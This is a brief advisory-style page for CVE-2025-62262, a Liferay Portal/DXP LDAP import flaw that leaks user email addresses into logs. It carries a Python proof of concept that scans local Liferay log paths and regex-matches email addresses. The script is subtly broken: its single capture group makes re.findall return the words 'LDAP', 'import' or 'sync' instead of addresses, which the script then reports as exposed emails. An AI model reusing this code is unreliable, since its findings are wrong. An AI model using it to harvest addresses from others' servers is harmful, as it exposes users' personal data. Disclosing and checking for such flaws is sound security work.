CVE-2025-62262 Liferay Portal/DXP LDAP导入功能日志信息泄露漏洞

# CVE-2025-62262 PoC - Liferay LDAP Import Information Disclosure # This PoC demonstrates how user email addresses may be exposed in log files import os import re def check_liferay_logs(log_paths): """ Check Liferay log files for exposed email addresses during LDAP import. Common log locations: - /opt/liferay/logs/liferay.log - /var/log/liferay/catalina.out - $LIFERAY_HOME/logs/liferay.[date].log """ email_pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' exposed_emails = [] for log_path in log_paths: if os.path.exists(log_path): with open(log_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Look for LDAP import related log entries with email addresses ldap_import_pattern = r'(LDAP|import|sync).*?' + email_pattern matches = re.findall(ldap_import_pattern, content, re.IGNORECASE) if matches: exposed_emails.extend(matches) return list(set(exposed_emails)) # Example usage if __name__ == "__main__": log_locations = [ "/opt/liferay/logs/liferay.log", "/var/log/liferay.log", "C:\\liferay\\logs\\liferay.log" ] print("Scanning for exposed emails in Liferay logs...") emails = check_liferay_logs(log_locations) if emails: print(f"Found {len(emails)} potentially exposed email addresses:") for email in emails: print(f" - {email}") else: print("No exposed emails found in scanned log files.")